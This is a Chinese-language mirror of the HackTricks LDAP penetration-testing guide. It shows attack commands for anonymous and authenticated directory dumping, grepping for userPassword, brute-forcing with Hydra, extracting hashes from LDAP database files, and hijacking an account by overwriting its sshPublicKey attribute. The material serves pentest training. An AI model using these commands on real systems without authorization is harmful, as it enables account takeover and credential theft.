mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 22:33:13 +00:00
391 lines
16 KiB
Markdown
391 lines
16 KiB
Markdown
# 389, 636, 3268, 3269 - LDAP 渗透测试
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
## 基本信息
|
||
|
||
LDAP(轻量级目录访问协议)主要用于在网络中定位实体,如组织、个人和各种资源(例如文件、设备)。这可以是在互联网等公共平台上,也可以是在私人内部网络中。作为目录访问协议(DAP)的简化版本,LDAP 具有较小的代码占用空间。
|
||
|
||
LDAP 目录的结构允许其分布在多个服务器上。在这些服务器的每个上,整个目录的复制形式存在,并且会定期进行同步。在这种情况下,LDAP 服务器被称为目录系统代理(DSA)。当用户向 LDAP 服务器发送请求时,服务器会对该请求负全部责任。这涉及与其他 DSA 进行通信(如果需要),但更重要的是,它确保用户收到单一、连贯的响应。
|
||
|
||
LDAP 目录的组织类似于简单的“树”层次结构,包括几个级别:
|
||
|
||
- 最高级别是根目录,充当树的起源或源头。
|
||
- 这分支到下一个级别,即国家。
|
||
- 每个国家进一步分为组织。
|
||
- 组织分为组织单位。这些单位可以代表不同的部门或部门。
|
||
- 最后一级包括个体实体。这不仅包括人员,还包括文件和打印机等共享资源。
|
||
|
||
**默认端口:** 389 和 636(ldaps)。全局目录(ActiveDirectory 中的 LDAP)默认在端口 3268 上提供,LDAPS 则在端口 3269 上提供。
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
389/tcp open ldap syn-ack
|
||
636/tcp open tcpwrapped
|
||
```
|
||
### LDAP数据交换格式
|
||
|
||
LDIF(LDAP数据交换格式)将目录内容定义为一组记录。它还可以表示更新请求(添加、修改、删除、重命名)。
|
||
```bash
|
||
dn: dc=local
|
||
dc: local
|
||
objectClass: dcObject
|
||
|
||
dn: dc=moneycorp,dc=local
|
||
dc: moneycorp
|
||
objectClass: dcObject
|
||
objectClass: organization
|
||
|
||
dn ou=it,dc=moneycorp,dc=local
|
||
objectClass: organizationalUnit
|
||
ou: dev
|
||
|
||
dn: ou=marketing,dc=moneycorp,dc=local
|
||
objectClass: organizationalUnit
|
||
Ou: sales
|
||
|
||
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
||
objectClass: personalData
|
||
cn:
|
||
sn:
|
||
gn:
|
||
uid:
|
||
ou:
|
||
mail: pepe@hacktricks.xyz
|
||
phone: 23627387495
|
||
```
|
||
* 第1-3行定义了顶级域local
|
||
* 第5-8行定义了第一级域moneycorp(moneycorp.local)
|
||
* 第10-16行定义了2个组织单位:dev和sales
|
||
* 第18-26行创建了一个域对象,并分配了带有值的属性
|
||
|
||
## 写入数据
|
||
|
||
请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您**可以更改您的用户或任何用户的"sshPublicKey"信息**。如果存在这个属性,那么**ssh很可能正在从LDAP读取公钥**。如果您可以修改用户的公钥,即使在ssh中未启用密码身份验证,您**也将能够以该用户身份登录**。
|
||
```bash
|
||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||
>>> import ldap3
|
||
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
||
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
||
>>> connection.bind()
|
||
True
|
||
>>> connection.extend.standard.who_am_i()
|
||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||
```
|
||
## 窃取明文凭证
|
||
|
||
如果LDAP在没有SSL的情况下使用,您可以在网络中**窃取明文凭证**。
|
||
|
||
此外,您可以在LDAP服务器和客户端之间的网络中执行**中间人攻击**。在这里,您可以进行**降级攻击**,使客户端使用**明文凭证**进行登录。
|
||
|
||
**如果使用SSL**,您可以尝试进行**中间人攻击**,就像上面提到的那样,但提供一个**伪证书**,如果**用户接受**它,您可以降级认证方法并再次查看凭证。
|
||
|
||
## 匿名访问
|
||
|
||
### 绕过TLS SNI检查
|
||
|
||
根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),只需使用任意域名(如company.com)访问LDAP服务器,他就能够以匿名用户的身份联系LDAP服务并提取信息:
|
||
```bash
|
||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||
```
|
||
### LDAP匿名绑定
|
||
|
||
[LDAP匿名绑定](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经身份验证的攻击者**从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一个**传统配置**,自Windows Server 2003起,只有经过身份验证的用户才被允许发起LDAP请求。\
|
||
然而,管理员可能需要**设置特定应用程序以允许匿名绑定**并提供比预期更多的访问权限,从而使未经身份验证的用户可以访问AD中的所有对象。
|
||
|
||
## 有效凭据
|
||
|
||
如果您有有效凭据登录LDAP服务器,您可以使用以下命令转储有关域管理员的所有信息:
|
||
|
||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||
```bash
|
||
pip3 install ldapdomaindump
|
||
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
||
```
|
||
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#ldap)
|
||
|
||
## 枚举
|
||
|
||
### 自动化
|
||
|
||
使用此方法,您将能够查看**公共信息**(如域名)**:**
|
||
```bash
|
||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||
```
|
||
### Python
|
||
|
||
<details>
|
||
|
||
<summary>使用Python进行LDAP枚举</summary>
|
||
|
||
您可以尝试使用Python**带有或不带有凭据枚举LDAP**:`pip3 install ldap3`
|
||
|
||
首先尝试**无需**凭据连接:
|
||
```bash
|
||
>>> import ldap3
|
||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||
>>> connection = ldap3.Connection(server)
|
||
>>> connection.bind()
|
||
True
|
||
>>> server.info
|
||
```
|
||
如果响应为 `True`,就像前面的示例一样,您可以从 LDAP 服务器中获取一些**有趣的数据**(如**命名上下文**或**域名**):
|
||
```bash
|
||
>>> server.info
|
||
DSA info (from DSE):
|
||
Supported LDAP versions: 3
|
||
Naming contexts:
|
||
dc=DOMAIN,dc=DOMAIN
|
||
```
|
||
一旦您获得命名上下文,您可以进行一些更令人兴奋的查询。这个简单的查询应该向您显示目录中的所有对象:
|
||
```bash
|
||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||
True
|
||
>> connection.entries
|
||
```
|
||
或者**转储**整个ldap:
|
||
```bash
|
||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||
True
|
||
>>> connection.entries
|
||
```
|
||
</details>
|
||
|
||
### windapsearch
|
||
|
||
[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个使用 LDAP 查询来枚举 Windows 域中的用户、组和计算机的 Python 脚本。
|
||
```bash
|
||
# Get computers
|
||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||
# Get groups
|
||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
||
# Get users
|
||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
||
# Get Domain Admins
|
||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
||
# Get Privileged Users
|
||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
||
```
|
||
### ldapsearch
|
||
|
||
检查空凭据或验证您的凭据是否有效:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
|
||
```bash
|
||
# CREDENTIALS NOT VALID RESPONSE
|
||
search: 2
|
||
result: 1 Operations error
|
||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||
tion a successful bind must be completed on the connection., data 0, v3839
|
||
```
|
||
如果发现有关“_bind必须完成_”的内容,意味着凭据不正确。
|
||
|
||
您可以使用以下方法提取**域中的所有内容**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
-x Simple Authentication
|
||
-H LDAP Server
|
||
-D My User
|
||
-w My password
|
||
-b Base site, all data from here will be given
|
||
```
|
||
提取**用户**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||
```
|
||
提取**计算机**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
提取**我的信息**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
提取 **Domain Admins**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
提取**域用户**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
提取**Enterprise Admins**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
提取 **Administrators**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
提取**远程桌面组**:
|
||
```bash
|
||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||
```
|
||
要查看是否有访问密码,您可以在执行以下查询之后使用grep:
|
||
```bash
|
||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||
```
|
||
#### pbis
|
||
|
||
您可以从这里下载**pbis**:[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),通常安装在`/opt/pbis`目录下。\
|
||
**Pbis**允许您轻松获取基本信息:
|
||
```bash
|
||
#Read keytab file
|
||
./klist -k /etc/krb5.keytab
|
||
|
||
#Get known domains info
|
||
./get-status
|
||
./lsa get-status
|
||
|
||
#Get basic metrics
|
||
./get-metrics
|
||
./lsa get-metrics
|
||
|
||
#Get users
|
||
./enum-users
|
||
./lsa enum-users
|
||
|
||
#Get groups
|
||
./enum-groups
|
||
./lsa enum-groups
|
||
|
||
#Get all kind of objects
|
||
./enum-objects
|
||
./lsa enum-objects
|
||
|
||
#Get groups of a user
|
||
./list-groups-for-user <username>
|
||
./lsa list-groups-for-user <username>
|
||
#Get groups of each user
|
||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||
|
||
#Get users of a group
|
||
./enum-members --by-name "domain admins"
|
||
./lsa enum-members --by-name "domain admins"
|
||
#Get users of each group
|
||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||
|
||
#Get description of each user
|
||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||
echo "$line";
|
||
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
||
echo "======================"
|
||
done
|
||
```
|
||
## 图形界面
|
||
|
||
### Apache Directory
|
||
|
||
[**从这里下载Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。您可以在[这里找到如何使用此工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
|
||
|
||
### jxplorer
|
||
|
||
您可以在此处下载带有LDAP服务器的图形界面:[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||
|
||
默认安装在:_/opt/jxplorer_
|
||
|
||
![](<../.gitbook/assets/image (22) (1).png>)
|
||
|
||
### Godap
|
||
|
||
您可以在[https://github.com/Macmod/godap](https://github.com/Macmod/godap)访问它
|
||
|
||
## 通过kerberos进行身份验证
|
||
|
||
使用`ldapsearch`,您可以通过使用参数`-Y GSSAPI`来**对kerberos进行身份验证**,而不是通过**NTLM**进行身份验证
|
||
|
||
## POST
|
||
|
||
如果您可以访问包含数据库的文件(可能在_/var/lib/ldap_中)。您可以使用以下方法提取哈希值:
|
||
```bash
|
||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||
```
|
||
### 配置文件
|
||
|
||
* 通用
|
||
* containers.ldif
|
||
* ldap.cfg
|
||
* ldap.conf
|
||
* ldap.xml
|
||
* ldap-config.xml
|
||
* ldap-realm.xml
|
||
* slapd.conf
|
||
* IBM SecureWay V3 服务器
|
||
* V3.sas.oc
|
||
* Microsoft Active Directory 服务器
|
||
* msadClassesAttrs.ldif
|
||
* Netscape Directory Server 4
|
||
* nsslapd.sas\_at.conf
|
||
* nsslapd.sas\_oc.conf
|
||
* OpenLDAP 目录服务器
|
||
* slapd.sas\_at.conf
|
||
* slapd.sas\_oc.conf
|
||
* Sun ONE Directory Server 5.1
|
||
* 75sas.ldif
|
||
```
|
||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||
Port_Number: 389,636 #Comma separated if there is more than one.
|
||
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for LDAP
|
||
Note: |
|
||
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
||
|
||
Entry_2:
|
||
Name: Banner Grab
|
||
Description: Grab LDAP Banner
|
||
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
||
|
||
Entry_3:
|
||
Name: LdapSearch
|
||
Description: Base LdapSearch
|
||
Command: ldapsearch -H ldap://{IP} -x
|
||
|
||
Entry_4:
|
||
Name: LdapSearch Naming Context Dump
|
||
Description: Attempt to get LDAP Naming Context
|
||
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
||
|
||
Entry_5:
|
||
Name: LdapSearch Big Dump
|
||
Description: Need Naming Context to do big dump
|
||
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
||
|
||
Entry_6:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索我们的独家[**NFTs**]收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|